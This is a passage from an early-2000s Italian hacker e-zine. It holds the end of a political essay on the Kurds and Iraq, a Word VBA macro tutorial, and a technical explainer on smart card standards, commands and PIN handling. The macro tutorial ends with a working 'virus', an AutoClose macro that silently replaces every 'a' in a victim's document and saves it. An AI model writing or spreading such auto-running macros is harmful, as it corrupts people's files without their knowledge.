terrorista. "Non bisogna personalizzare il problema.” ha sostenuto il leader. Il 16 dicembre 1998, fra molte polemiche e pareri discordanti, viene sferrato l'ultimo attacco all'Iraq di Saddam Hussein. Che sia la mancanza di collaborazione con gli ispettori ONU giudicata inaccettabile dagli Stati Uniti, che sia un effetto collaterale del sex gate, che siano le radici profonde di una crisi costante tra il “demone occidentale” e il “pericolo arabo”, un fatto rimane inconstetabile. Siamo ancora una volta alle immagini abituali dell'ennesima guerra. Fra le compere di Natale, le polemiche europee, le tavole rotonde televisive e il procedimento di destituzione del presidente americano, gli echi della tragedia di un popolo ci sono giunti sempre più deboli. La vicenda ha avuto un ultimo sussulto quando ci sono giunte le immagini del leader in mano ai Turchi. Secondo le dichiarazioni del governo l'Italia si è limitata ad "allontanare volontariamente" Ocalan. In tal modo non sono stati messi a rischio i rapporti con la Turchia, dato che non si è presa nessuna decisione di merito, ma si è semplicemente dato seguito alla scelta dell'esponente curdo di lasciare l'Italia, accompagnandolo alla frontiera. Ma a parte queste ultime braci l'incendio è sopito. Il leader è stato catturato, la guerra in Kurdistan tornerà ad essere un fatto abituale. Ancora una volta rischiamo di avere orecchie troppo poco sensibili per ascoltare e comprendere. In fondo il kurdistan non è poi così vicino. <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L'APPRENDISTA STREGONE] #01 - 19/03/2001 | | iNTR0 ALLE MACR0 (parte 1 e 2 di 8) ...................... [Mastro] 0x14/0x1A | +-------------------------------------------------------------------------------+ ATTENZIONE!!! TUTTE LE INFORMAZIONI RIPORTATE SONO SOLO A SCOPO INFORMATIVO, QUINDI TI RICORDO CHE NON SONO RESPONSABILE DI DANNI A TE STESSO O A TERZI. MACRO: PARTE 1° "BASE" Ok! Prima di iniziare, quanti di voi hanno notato un menù chiamato "Macro" in Word? Mmmh, un pò pochi! Vabbè non disperate, ci penzo io a colmare (parzialmente) le vostre lacune. Entrate in Word e dal menù "Strumenti" selezionate "Macro", ora ci sono 3 scelte: - Macro ==> Apre una piccola finestra da dove è possibile creare una nuova macro, modificarne una pre-esistente o eliminarla; - Registra nuova macro ==> Si apre una finestra in cui bisogna decidere se assegnare la macro che si sta per creare alla tastiera o alla barra degli strumenti (non cambia un caxxo). Fatto questo compare un'altra finestra che non serve a nessuno in cui bisogna cliccare su "Chiudi". Ora compare una piccola barra al centro dello schermo, d'ora in poi tutto quello che scriviamo o inseriamo viene registrato nella macro, quindi se inseriamo un'immagine e scriviamo (in Word) "Ciao ciccio!", quando eseguiamo la macro appare la foto e la scritta; - Editor Visual Basic ==> Compare l'editor di Visual Basic, con tutto quello che abbiamo fatto fino ad ora ( un caxxo! direte voi, ma non ve preoccupate......) Per me è meglio iniziare dalla prima opzione ("Macro"), nella nuova finestra inseriamo il nome della macro....mmmh....facciamo "pippo" e poi si clicca su "Crea". Ora appare l'editor di Visual Basic con la scritta: Sub pippo() <==== Dice che la macro inizia 'macro creata il xxxx da xxxx <==== Le scritte con davanti l'apostrofo ['] non vengono lette come codice macro End Sub <==== La macro è finita Prima di passare alla programmazione devo aprire una parentesi a proposito delle macro che si auto eseguono, queste si possono ottenere in due modi: 1) Tramite un comando assegnato ad una macro (es. gino()) in cui si dice si eseguirne un'altra (pippo()), ma il comando lo vedremo poi.....; 2) Oppure moolto più semplicemente utilizzando i comandi predefiniti di VisualBasic: - AutoClose => Ad ogni chiusura di word o anche del documento esegue la macro; - AutoOpen => Ad ogni apertura di un documento esistente esegue la macro; - AutoExec => Ad ogni avvio di Word esegue la macro; - AutoNew => Ad ogni nuovo documento creato esegue la macro. Per assegnare questi comandi basta semplicemente rinominare la macro con un comando, x es. la nostra pippo: Sub pippo() 'macro creata il xxxx da xxxx End Sub si cancella ora pippo() e si mette AutoClose().....fatto! D'ora in poi la macro viene eseguita a ogni chiusura di un documento! Sub AutoClose() 'macro creata il xxxx da xxxx End Sub Capito?...............Speriamo! ;) Purtroppo i più impazienti dovranno aspettare ancora un pò per la parte di porgrammazione, perchè ora DEVO e sottolineo (non letteralmente) DEVO! parlare degli oggetti base di word: - ActiveDocument (documento attivo) ==> E' una funzione in cui sono inclusi tutti i possibili comandi da eseguire nel documento; - Selection ==> Spiegata moolto facilmente includerebbe le funzioni specifiche che si eseguono dove si trova il punto di inserimento (la barra che lampeggia x i + lamer) - Documents ==> Funzione che include le possibilità eseguibili su un documento - Altre cazzate..... Comunque per visualizzare tutte le funzioni di "ActiveDocument" basta scriverlo in Visual Basic e aggiungere un punto, ovvero: Sub pippo() 'macro creata il xxxx da xxxx ActiveDocument. <=== Basta agguingere il punto che Visual Basic ti fa vedere tutte le opzioni disponibili. Selection. <=== Idem come sopra Documents. <=== Idem come sopra End Sub Ora finalmente posso introdurre la programmazione......nella prossima parte! ;) MACRO: PARTE 2° "PROGRAMMAZIONE SEMPLICE" Ok! Are u ready? Finalmente i più impazienti sono soddisfatti.....infatti ora faremo qualche passo avanti nel Visual Basic di Word. Infatti adesso parliamo di un comando che ci potrà essere moolto utile.... ;) In italiano sarebbe "Se.....quindi....oppure...", e in inglese suona come "If.....Then/oppure/GoTo....Else..." Il comando verifica una condizione precedentemente impostata da noi, e se verificata dà luogo ad un'azione, oppure ad un'altra. No, non è scritto sbagliato, non ci sono errori, anche se molti di voi non hanno capito niente, ma non disperate.....sono qui apposta! :) Infatti è molto più difficile da spiegare che da fare: Sub pippo() macro creata il xx da xxxx If <== Qui ci va la condizione da verificare Then/oppure/GoTo <=== Qui ci va il codice per l'azione se la condizione è verificata Else <== Qui ci va l'azione eseguita se la condizione non è verificata End If <== HAAAA!!! IMPORTANTE, DA NON DIMENTICARE! O LA MACRO NON VIAGGIA! End Sub Facciamo un piccolo esempio? Ok! Sub pippo() 'macro creata il xx da xxxx If ActiveDocument.Saved = False Then <== Computer, il documento è stato modificato? MsgBox "Documento modificato. Non salvi?" <== Se si, devi sparare questo messaggio Else: MsgBox "Documento NON modificato, perchè hai aperto Word bello?" <== Oppure se NON è stato modificato spari quest'altro messaggio End If <== La scelta delle ozioni è finita End Sub Capito? Se volete provare utilizzate il copia-incolla, anche se prima bisogna rinominare la macro come AutoClose(), così la macro si esegue alla chiusura del documento. Sub AutoClose() 'macro creata il xx da xxxx If ActiveDocument.Saved = False Then MsgBox "Documento modificato. Non salvi?" Else: MsgBox "Documento NON modificato, perchè hai aperto Word bello?" End If End Sub Ora arriva il momento che tutti stavano aspettando: il nostro primo virus!! Forse è un pò presto per parlare di virus, comunque questa è una bastardata che farà girare molto i coglioni alla vostra vittima, soprattutto se usa molto Word e non sa un caxxo sulle macro! Utilizzeremo un comando utilissimo: "With...End With". Semplicemente si può dire che è come la moltiplicazione, al posto di sommare e sommare e sommare, si moltiplica. Quindi al posto di continuare a scrivere comandi partendo dallo STESSO menù, si usa il comando sovra citato: Sub AutoClose() 'macro creata il xx da xxxx With.....oggetto..... .azione .azione End With <== IMPORTANTE! End Sub Ed ora la Bastardata! Sub AutoClose() 'macro creata il xx da xxxx If ActiveDocument.Saved = True Then <== Se il coglione ha salvato allora... Set myRange = ActiveDocument.Content <== Nel documento attivo With myRange.Find <== Cerca .ClearFormatting <== Senza chiedere niente all'utente .Replacement.ClearFormatting <== Per poi sostituire la parola cercata .Text = "a" <== Ecco la lettera da cercare, può essere anche una parola! .Replacement.Text = " Ciao bello!! Ti sei beccato un virus!! " <== Ecco la frase da sostituire alla lettera .Execute Replace:=wdReplaceAll <== La frase va sostituita a tutte le lettere "a" trovate End With End If ActiveDocument.Save <== Poi salvi il documento, incluso il nostro cambiamento! ;) End Sub Purtroppo se il coglione sfigato non si accorge del cambiamento (ma deve essere cieco, la "a" è la lettera + usata!), la nostra macro agisce anche sulla "a" di "Ciao bello!" creando un gran casino, ma a noi che ci frega, tanto il documento è suo! Con la bastardata abbiamo concluso anche questa parte, quindi ALLA PROSSIMA! Per domande: macro2000@virgilio.it +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L'APPRENDISTA STREGONE] #01 - 19/03/2001 | | SMART CARD ................................................ [Tahoo] 0x15/0x1A | +-------------------------------------------------------------------------------+ #SMART-CARD# tahoo@mail.ru Eccoci qua, vi dico subito che non sono un grande scrittore, manco un buon oratore, ma ho provato lo stesso a scrivere questo articolo (tra l'altro e' la prima volta che ne scrivo uno, e ve ne accorgerete ;P) perche' volevo condividere con tutti voi le cosa che ho imparato durante lo studio delle smart card. In questo articolo ho deciso di scrivere le caratteristiche ed il funzionamento delle smart card, ma non i possibili attacchi, perche' se non sappiamo bene cosa succede nel chip di una card e' inutile parlare di come possiamo hackarlo. Iniziarei a parlare delle smart card partendo con una breve introduzione per schiarirci un po' le idee prima di vedere nei particolari come funzionano. # INTRODUZIONE Le smart card sono un potente mezzo di autentificazione e di sicurezza dei dati. Sono delle schede di plastica, dalle dimensioni di una carta di credito, con inserito al suo interno un chip di tecnologia VLSI con capacita' di memoria e di elaborazione dati. I chip VLSI (Very Large Scale Integration) sono dei chip composti da 200 o piu' transistor, implementando al loro interno CPU, RAM, ROM ed EEPROM. Questo chip puo' contenere ed elaborare dati, fare calcoli criptografici ed attivare dispositivi di sicurezza. Oltre a questi dispositivi di sicurezza, le smart card, grazie alla loro compattezza, hanno una notevole protezione contro gli attacchi fisici. Grazie a queste caratteristiche vengono usate in quelle situazioni nelle quali la sicurezza e la protezione dei dati hanno un ruolo molto importante. # VARI TIPI DI CARD Ok, dopo questa breve introduzione vorrei fare una distinzione tra le varie card, perche' erroneamente vengono chiamate smart card anche le schede a banda magnetica e le Token card. Allora: le schede a banda magnetica possono solo contenere dei dati, ma non possono fare alcun tipo di elaborazione di essi, perche' al loro interno non hanno alcun tipo di processore. Inoltre non hanno nessun sistema di protezione dei dati, quindi facilmente leggibili con un lettore di bande magnetiche. Le Token card, o "SuperSmart card" non hanno capacita' di memoria ne' hanno bisogno di interfacce esterne. Sono provviste di un lettore LCD che crea un codice di riconoscimento unico all'incirca ogni minuto ed e' sincronizzato con il server di autenticazione. Ogni volta che un utente ha bisogno di entrare nella rete attiva il lettore della card e legge la chiave da usare per entrare, ma e' valida solo fino a quando non ne viene creata un'altra, quindi un minuto. Le smart card vere e proprie si dividono in due tipologie: a contatto e contactless. Le card a contatto hanno dei punti di contatto trammite i quali possono alimentarsi e trasmettere, mentre le contactless vengono posizionate vicino al lettore. Vediamo le differenti comunicazioni dei due tipi di card. Per poter funzionare una smart card ha bisogno di un voltaggio elettrico per alimentare il chip, una frequenza clock, ed un percorso input/output per la trasmissione dei dati. Una card a contatto ottiene questo attraverso una connessione diretta. Il chip e' conneso ad una piastra di contatti sulla superficie della card. Quando la smartcard e' inserita nel lettore, i contatti della card sono accoppiate con le connessioni del lettore e completano un circuito elettrico. Le Smartcard contactless vengono piazzate in prossimita' del lettore, a non piu' di 3 cm. Un induttore e' usato per trasferire la corrente elettrica alla card. Il clock puo' essere ricavato internamente e l'inpout/outpout avviene trammite la modulazione dei segnali elettrici. Alcuni tipi di Smartcard contactless possono operare ad una lunga distanza ed usare le onde radio. Comunque, siccome l'alimentazione richiesta per le onde radio viene prodotta da una batteria interna, questo tipo di card non e' conforme alle caratteristiche fisiche richieste e non si puo' definire esattamente una smart card. Le smart card contactless sono definite nello standard ISO 10536, il quale non e' molto definito, percio' diverse ditte produttrici usano differenti metodi di accoppiamento che sono incompatibili con altre. Le smartcard contactless hanno alcuni vantaggi in confronto alle smartcard a contatto: esse non hanno la piastra di contatto (che potrebbe sporcarsi o rovinarsi), e non devo essere inserite in alcun lettore, ma posizionate vicino ad esso. Questo sistema riduce potenzialmente i danneggiamenti, ed aumenta la velocita' di trasmissione dei dati. D'altra parte l'attuale generazione di contactless smartcard ha alcuni svantaggi. La loro offerta e' bassa, mentre il costo di produzione e' ancora molto elevato. Questo perche' al loro interno hanno molti componenti assemblati, al posto di un solo chip, come le card a contatto. Comunque, la differenza delle due card e' rilevante soltanto a livello fisico, poi il protocollo usato ed il funzionamento delle due schede e' uguale. # CARATTERISTICHE DI UNA SMART CARD Passiamo ora alle caratteristiche che deve avere una smart card. La struttura fisica di una smart card è specificata dall'International Standards Organisation (ISO) negli ISO7810, ISO7816/1 e ISO7816/2. Qui io faro' solo una breve descrizione generica di questi standard, per informazioni dettagliate vi consiglio di legge il bellissimo articolo scritto da N0bodY88 sul numero 7 di BFI, nel quale descrive in maniera dettagliata questi standard. Generalmente è composta da tre elementi. La card plastificata è di dimensioni di 85.60mm x 53.98mm x 0.80mm. Poi ci sono un circuito stampato ed un chip integrato che sono inseriti nella card. Il circuito stampato conforme allo standard ISO 7816/3 prevede 5 punti di connessione per alimentazione e scambio di dati. Esso e' ermeticamente fissato in un alloggiamnte della card, coprendo e proteggendo il chip, il quale comunica con il lettore attraverso i contatti sovrapposti all'integrato. La capacita' di una smart card e' definita dal tipo chip utilizzato. Come gia' detto, il chip e' composto da un microprocessore, ROM, RAM ed EPROM o EEPROM , che mantengono il loro stato anche quando l'alimentazione alla card viene disattivata. La differenza tra EPROM ed EEPROM e' che la EPROM puo' essere scritta una sola volta e letta molte volte, mentre le EEPROM possono essere lette e scritte molte volte. In pratica una EEPROM e' garantita per 10.000 scritture senza problemi, il che rappresenta un abbondante uso per qualsiasi occasione. Le vecchie versioni delle smart card usavano maggiormente le EPROM e venivano usate solo in lettura, le nuove smart card, invece, montano maggiormente le EEPROM. Attualmente la capacita' di memoria massima di una smart card con EPROM e' di 64K bytes, mentre le smart card com EEPROM hanno una capacita' massima di 16K bytes. Questa limitazione delle EEPROM e' dovuta alla loro capacita' di riscrittura, e tra l'altro le smart card hanno un chip di soli 20 mm2 di dimensione, e, a stessa quantita' di memoria, le EEPROM hanno bisogno di piu' spazio delle EPROM. La maggior parte delle smart card oggi in commercio hanno una capacita' di EEPROM che varia dai 2 ai 4K bytes, e piu' aumenta la capacita' di memoria, piu' aumenta il prezzo del chip. I chip sono composti di silicio, che è un materiale non flessibile e particolarmente soggetto a rottura. Quindi, per evitare che questo accada quando la card viene piegata, lo spazio a disposizione del chip è ristretto in soli alcuni millimetri. In generale le dimensioni, lo spessore e la flessibilita' della card sono concepite per proteggerla da danneggiamenti fisici. Queste regole, purtroppo, limitano anche le sue risorse. Per questo motivo le smart card per essere utilizzate devono essere inserite in una periferica esterna. Queste limitazioni possono compromettere la sicurezza della card stessa in alcune circostanze, ad esempio nei casi in cui la periferica sia poco sicura o sia stata manomessa. # CREAZIONE DELLE SMART CARD A questo punto siamo pronti per vedere quali sono i passaggi nella creazione di una smart card. Prima pero' vorrei fare un piccolo accenno al sistema operativo che si trova dentro una smart card, tanto per comprendere meglio i concetti che seguono. Questo sistema operativo contiene un numero di identificazione del prodotto (ID), i tipi di componenti usati, un numero seriale ed altri dati. La parte che a noi interessa ora, per capire meglio il processo di creazione, e' sapere che l'area di sistema puo' contenere diverse chiavi di sicurezza, come la chiave del produttore, o chiave di fabbricazione (KF), e la chiave di personalizzazione (KP). Adesso siamo pronti per vedere le varie fasi della creazione di una smart card. Per prima cosa avviene la produzione del chip. Dopo averlo testato, gli vengono inseriti dei dati di fabbricazione, tra i quali la chiave del produttore (KF) per evitare modifiche non autorizzate dello stesso durante il trasporto dal produttore del chip al produttore della card. Questa chiave e' unica per ogni chip, e deriva dalla chiave master del produttore. A questo punto il chip e' pronto per essere montato nella scheda di plastica, ed una volta creata la connessione tra il chip ed il circuito stampato verra' testata la scheda finita. Adesso la scheda e' pronta per essere inviata al destinatario, ma prima, per maggior sicurezza, verra' aggiunta la chiave di personalizzazione (KP), che verra' bloccata in modo da non poter essere modificata. Inoltre, l'accesso fisico alla memoria delle istruzioni sara' disabilitato per evitare modifiche nelle aree di fabbricazione e di sistema. Da questo punto l'accesso alla card si otterra' unicamente usando indirizzi di memoria logica. Una volta che la scheda arriva al suo utilizzatore finale e' pronta per essere personalizzata. Infatti egli deve inserire i suoi dati, il PIN ed il codice di sbloccaggio del PIN. Per completare la struttura logica della scheda non resta altro che inserire le applicazioni ed i dati che devono essere utilizzati con i relativi permessi. Ora la card e' veramente pronta per essere usata. Almeno fino a quando non viene disabilitata. Ci sono due metodi con i quali una scheda viene disabilitata. Il primo si ottiene bloccando in scrittura ed esecuzione i file, o l'intero master file (che vedremo in seguito, per adesso ci basti dire che e' paragonabile alla directory root). In questo caso i dati potranno solo essere letti, ma non potremo eseguire alcun tipo di programma e non potremo modificare nessun dato. C'e' un metodo di disabilitazione volontario, ma puo' pure disabilitarsi non volontariamente (beh, almeno che non abbiate voglia di buttar via la vostra scheda :)). Una smart card si disabilita automaticamente quando il control system blocca gli accessi perchè il PIN e l'unblocking del PIN sono bloccati. In questo caso tutte le operazioni saranno bloccate, incluso la lettura. Vedremo piu' avanti cosa succede per far avvenire cio'. # PROTOCOLLO DI COMUNICAZIONE Una volta alimentato ed interfacciato al lettore, in tutti i sensi il chip dalla card si rivela un computer completo. Opera sotto il controllo di un sistema operativo anche esso contenuto nel chip, non un sistema operativo derivato da altri, ma un proprio sistema operativo. Le smart cards seguono uno specifico protocollo di comunicazione quando dialogano con il PC, che viene definito nello standard ISO 7816/3. Tutte le informazioni sono inviate e lette nel formato hex code. Lo scambio di dati avviene bidirezionalmente, in half douplex mode, cioe' lo scambio di dati avviene in una direzione alla volta. Questo tipo di comunicazione, aggiunta al bit rate proteggono la card dai massive data attack. Con queste capacita', e' possibile indirizzare la linea input/output tra la smart card ed il lettore, o CAD (card acceptor device) come una normale linea di comunicazione RS232. Lo standard ISO 7816-3 definisce un meccanismo di comunicazione simile al RS232 che lavora a 9600 baud. I due protocolli usati nella comunicazione delle smart card sono chiamati T=0 e I2C.Comunque la maggior parte dei processori delle smart cards in commercio operano sotto il protocollo ISO 7816-3 T=0. La natura di questo tipo di protocollo crea un certo numero di problemi: se accade un errore in un messaggio, e' difficile sapere cosa ritrasmettere e quale dei dati trasmessi o ricevuti sono errati. Questo problema e' risolto con l'estenzione del protocollo 7816-3 T=1 che definisce un protocollo per la creazione dei pacchetti dei messaggi dell'ISO 7816-3 T=0. Il formato T=1 e' migliore del formato T=0 in termini di recupero di errori di trasmissione. Vediamo cosa accade al momento dell'attivazioone della card. Per prima cosa il processore e' alimentato e resettato, immediatamente invia dei dati stream al lettore che identifica il tipo di chip ed il protocollo utilizzato. Questi dati stream sono conosciuti come "Answer To Reset string". Passiamo alle sequenze di comunicazione. L'ordine della seguente procedura deve essere seguito per poter accedere ai dati della card. I comandi per leggere, scrivere e le funzioni relative al PIN dipende dal tipo della card e lo spiegheremo dopo. 1. Attivare la card 2. Leggere gli access 3. Leggere gli errori del counter. Operazione di cancellazione in caso che il chip access counter e' esaurito 4. Immettere il PIN 5. Leggere gli access/ scrivere gli access 6. Cambiare il PIN 7. Disattivare la card I passi 3, 4 e 6 vengono eseguiti solo su card con accesso trammite PIN Il passo 2 deve sempre essere eseguito (minimo un byte) prima di scrivere nella card I comandi per recuperare lo stato della card e mostrare i segnali LED devono sempre essere processati da terminale - anche quando la card e' attivata. Procedura generale Controllo dello stato della card (03,07) [ss,nc] Encoding del valore [ss]: 0x: no card / no change 8x: no card / change 4x: card present / no change Cx: card present / change Il low Nibble non contiene dati. LED on (6A,0F,B4) [01] LED off (6A,0F,B0) [01] LED color (6F,cc,6A,0F,QS) [01] Solo i terminali con LED bi-colore possono eseguire questo comando. La decodifica del ccc e': 00: off, 01: red, 02: green, 03: yellow attivazione della card (60,0F,9C) [01] disattivazione della card (61,0F,98) [01] Adesso vediamo in specifico i comandi dei protocolli I2C e T=0, T=1, T=14 ICC-Protocol I2C I2C legge inizialmente con l'indirizzo A Sequenza d'inizio per I2C a 16kbit: (7C,64,41,a1,a2,64,40,A3,0F,QS) [01] a1:=Hi.A shl 1 or A0, a2:=Lo.A, a3:=a1 or 01 Sequenza d'inizio per I2C a 32/64 kbit: (7C,64,42,A0,a1,a2,64,40,A1,0F,QS) [01] a1:=Hi.A, a2:=Lo.A Lettura n bytes: (10 or (n-1),QS) [d1 ... dn, QS] con: n: 1..15 Bytes I2C scrive iniziando con l'indirizzo A Sequenza d'inizio per I2C a 16kbit: (7C,64,41,A0,00,64,40,A1,0F,36) [01] (7E,10,DA) [xx,QS] (7E,66,6E,a2,a1,pm,0F,QS) [01] a1:=Hi.A shl 1 or A0, a2:=Lo.A pm specifica la modalita' di page con (pm-1) con il numero di byte per page Sequenza d'inizio per I2C a 32/64 kbit: (7C,64,42,A0,00,00,64,40,A1,0F,0B) [01] (7E,10,DA) [QS,QS] (7F,66,6E,a2,a1,A0,0F,QS) [01] a1:=Hi.A, a2:=Lo.A Il pagemode per cards con 32kbit o superiore e' presente a 16 byte scrive n bytes di dati (il piu' basso byte of dell'address counter e' incrementato): for n: 1..(ps-1) bytes: (40 or (n-1),d1 ... dn,0F,QS) [01] for n = ps bytes: (4E,d1 ... dn,QS) [01] Per settare il piu' alto byte dell'address counter (richiesto anche per la scrittura continua) per I2C a 16kbit: (7E,66,6E,a2,a1,pm,0F,QS) [01] per I2C a 32/64kbit: (7F,66,6E,a2,a1,A0,0F,QS) [01] ICC-Protocol T=0, T=1, T=14 Attivazione della card (60,0F,9C) [01] Disattivazione della card (61,0F,98) [01] Lettura dell'ATR della card (80,6F,00,05,qs) [d1,d2,...] (A0,6F,00,05,qs) [d1,d2,...] Comunicazione con la card (6F,nn,05,qs,t1,t2,...) [r1,r2,...] nn: denomina il numero di data bytes da trasmettere alla card. tn: data bytes che devono essere trasmessi in trasparenza alla card. rn: risposte della card (in transparenza) Lo standard ISO 7816-4 dice che i comandi devono avere la seguente sintassi: CLASS, INSTRUCTION, P1, P2, P3 Vediamo i comandi piu' comuni. Li ho scritti seguendo questo criteri: COMANDO CLASS INSTRUCTION P1 P2 P3 Leggere i Binary C0 B0 EF identificatore Stampa del primo byte letto Numero di bytes da leggere Scrivere i Binary C0 D0 EF identificatore Stampa del primo byte scritto Numero di bytes da scrivere Aggiornare i Binary C0 D6 EF identificatore Stampa del primo byte scritto Numero di bytes da scrivere Cancellare i Binary C0 0E EF identificatore Stampa del primo byte cancellato Se non zero e' la lunghezza del campo 1 Leggere i Record C0 B2 Indice dei record da leggere (01,02 .. FF) O 00 se deve essere letto il corrente record Selezione del record da leggere 00 primo, 02 seguente, 03 precedente, 04 corrente Numero di bytes da leggere Scrivere i Record C0 B2 Indice dei record da scrivere(01,02 .. FF) o 00 se deve essere scritto il corrente record Selezione del record da scrivere 00 primo, 02 seguente, 03 precedente, 04 corrente Numero di bytes da scrivere Aggiungere Record C0 E2 00 EF identificatore Numero di bytes in aggiunta Aggiornare un Record C0 DC Indice dei record da scrivere(01,02 .. FF) o 00 se deve essere scritto il corrente record Selezione del record da scrivere 00 primo, 02 seguente, 03 precedente, 04 corrente Numero di bytes da scrivere Ricevere Dati C0 CA Tipo di dati Identificatore Dimensione di risposta Mettere Dati C0 DA Tipo di dati Identificatore Lunghezza del campo dati Selezionare Files C0 A4 00 00 02 Verifica C0 20 00 Qualificatore di riferimento dei dati Dimensione del campo dati Autentificazione Interna C0 88 ID dell'algoritmo della card ID della secret key Dimensione del campo dati Autentificazione Esterna C0 82 ID dell'algoritmo della card ID della secret key Dimensione del campo dati Ricevere Risposte C0 C0 00 00 Numero di bytes da recuperare # FILE SYSTEM L'ISO 7816-4 definisce anche questa struttura, purtroppo senza particolari di rilievo. In pratica questo significa che alcuni chip prodotti da certe ditte sono "conformi ISO 7816-4", ma sono strutturati diversamente e sono incompatibili con altre card.Il file system delle smart card ed e' ordinato gerarchicamente, come nei moderni sistemi operativi. Ci sono tre tipi di file principali, che vengono identificati con 2 byte. Essi sono: Master File (MF) Dedicated File (DF) Elementary File (EF) Il Master File (MF) è la cima della gerarchia, possiamo paragonarlo alla directory radice (root). E' identificato con i 2 byte 3F 00, e contiene informazioni e gli indirizzi dei file in essa contenuti. I Dedicated Files (DF) contengono i file. Questi files si possono pensare come le directories della smart cards. Gli Elementary file (EF) sono paragonabili ad i file di dati. Essi si dividono in altre quattro categorie: Transparent File Linear, Variable Length Record File Linear, Fixed Length Record File Cyclic, Fixed Length Record File I Transparent files sono generalmente usati per immagazzinare informazioni. I Linear Record Files contengono suddivisioni chiamati records. I Cyclic Files sono le specifiche della Smart Card. Tutti i file sono composti da un header e dal body.L'header del file contiene le informazioni riguardo il file come un numero di identificazione, descrizione, tipo, dimensione ed altro. In particolare contiene gli attributi del file e le condizioni di accesso. Normalmente nell'industria informatica dove i dati devono potersi muovere da un posto ad un altro, ed in ambienti multimediali alcuni dei dati possono non essere intrepretati, ma devono essere gestiti ed inviati con uno specifico regime usato per identificare e caratterizzare i dati. Il regime dominante e' conosciuto come sistema ASN 1 (Abstract Syntax Notation 1), specificato nello standard ISO 8825/8825 da parte dell' Open Systems Interconnection. Le parti 4-5-6 dell'ISO 7816 si riferiscono al sistema ASN 1 e specificano la struttura dei dati e gli elementi che li compongono per poter essere conformi allo standard ASN 1. Vediamo che vantaggi ne derivano. Dati di diversi tipi possono essere mischiati in un file o record, o semplicemente essere riconosciuti e letti. I dati possono essere riconosciuti anche senza essere letti. I dati, una volta letti, possono essere prontamente identificati e subito dopo processati. Lo scambio di dati e' facilitato. Purtroppo, attualmente lo standard ISO 7816 e' incompleto su tutti i livelli. Al livello della card non viene pienamente specificata l'interfaccia del sistema operativo, non viene correttamente specificato la struttura delle directory, la nominazione standard delle applicazioni e' incompleta e la struttura dei dati non pienamente specificata. A livello delle applicazioni lo standard e' incompleto, ed in alcuni casi, non iniziato. # STRUTTURA LOGICA DEI FILE Come abbiamo gia' detto, quando la card arriva all'utente la modalità di accesso ai dati dell'indirizzo fisico non è più disponibile. Quindi l'accesso ai dati avviene attraverso la struttura logica dei file della card. In generale può essere vista come un disk-drive dove i files sono organizzati in una struttura gerarchica attraverso directory. Simile al Linux o all'MS-DOS, c'è un master file (MF) che si può paragonare alla directory root ( / ). Sotto la directory root possiamo avere diversi files che sono chiamati elementary files (EFs). Possiamo avere varie subdirectory chiamate dedicated files (DFs). Sotto queste subdirectory ci possono essere ancora elementary files e deidcated files. Adesso provo a fare uno schema per semplificare quello che ho spiegato. ---------------- | MF | ---------------- | --------------------------------------------------------------- | | | | ---------------- ---------------- ---------------- ---------------- | DF | | DF | | DF | | EF | ---------------- ---------------- ---------------- ---------------- | ------------------------------------------ | | | ---------------- ---------------- ---------------- | EF | | EF | | DF | ---------------- ---------------- ---------------- Beh, con questa "specie" di rappresantazione spero di avervi fatto capire meglio di cosa stavo parlando (lo so che ho rischiato di confondervi ulteriormente le idee, ma in ascii non mi riesce disegnare niente, anzi, in verita' e' la prima volta che provo a disegnare qualcosa. Si vede? ;p). Il master file (MF), ha il proprio header, e nal body contiene gli headers di tutti i dedicated files e elementary files che contiene il master file nella sua gerarchia. Il dedicated file (DF) è un funzionale raggruppamento di files consistendo in sè stesso e tutti i flies che sono immediatamente figli della DF. Gli elementary file (EF) consistono semplicemente nel loro header e nel loro body che contiene i dati. Il sistema di gestione dei dati dipende dai vari sitemi operativi. In ogni caso, i file devono essere selezionati prima di eseguire una qualsiasi operazione. Questo è l'equivalente di aprire un file. L'accesso logico ed il meccanismo di selezione è attivato dopo che la card sia stata alimentata, ed il master file viene selezionato automaticamente. L'operazione di selezione cosente di muoversi nell'albero gerarchico. E' possibile discendrla selezionando un EF o una DF, o può essere ascesa selezionando MF o DF. I movimenti orizzontali avvengono selezionando un EF da un altro EF. L'accesso ai dati del file dipende dal tipo di autorizzazione richiesta. # CONTROLL ACCESS Principalmente, le condizioni d'accesso di un file possono essere definite nei seguenti cinque livelli, anche se alcuni sistemi operativi possono offrire ulteriori dipendenze per eseguire le applicazioni. Always (ALW): l'accesso al file può essere eseguito senza alcuna restrizione. Card holder verification 1 (CHV1): l'accesso è consentito solo se inserita la chiave CHV1 Card holder verification 2 (CHV2): l'accesso è consentito solo se inserita la chiave CHV2 Administrative (ADM): l'accesso a questo livello, ed i rispettivi requisiti per la sua esecuzione è consentito solo all'amministratore. Never (NEV): l'accesso a questo file è vietato. Questi livelli di condizione non sono gerarchici. Per esempio, una immissione corretta della chiave CHV2 non dà accesso ai file che richiedono la chiave CHV1. Durante l'operazione i requisiti devono essere soddistatti prima di selezionare il file. # PIN I PINs sono generalmente immagazzinati in separati elementary files, per esempio EFCHV1 e EFCHV2. Per poter modificare questi files bisogna prima immettere sia il vecchio PIN che il nuovo. Ci sono dei file che possono richiedere l'immissione del numero di PIN inserito nella card. Se viene inserito un numero di PIN ertrato per un certo numero di volte consecutivo la card potrebbe bloccarsi. Questa procedura si chiama irreversible blockage. Alcuni sistemi possono usare questa procedura per evitare attacchi. Esiaminiamo le varie procedure di PIN. Quando avviene una richiesta di PIN, i dati inseriti vengono gestiti da due contatori, e vediamo come: -Il PIN è stato inserito correttamente: Ogni volta che è inserito il PIN esatto il PIN conuter può essere resettato al massimo numero di tentativi, per esempio tre. -Il PIN è stato inserito errato: Il PIN counter decrementa di uno ogni volta che viene inserito il PIN errato. Se il PIN counter arriva a zero il PIN viene bloccato e tutte le operazioni o istruzioni che richiedono il PIN vengono disattivate. -Il PIN è bloccato: In questo stato, tutte le operazioni che richiedono il PIN sono bloccate. Deve essere eseguita l'istruzione di sbloccaggio del PIN. Se viene inserito lo sbloccaggio di PIN valido il PIN counter viene resettato al numero limite massimo di tentativi e ritorniamo al primo stato. Altrimenti, se viene inserito un unblocking PIN errato il counter viene decrementato di uno, e quando questo arriva a zero il PIN non può più essere sbloccato. Le informazioni contenute nella card possono essere protette singolarmente settando le condizioni d'accesso di ogni singolo file o gerarchicamente di un gruppo di file insieme sotto un'unico dedicated file (DF), settando le sue condizioni d'accesso. Inoltre l' 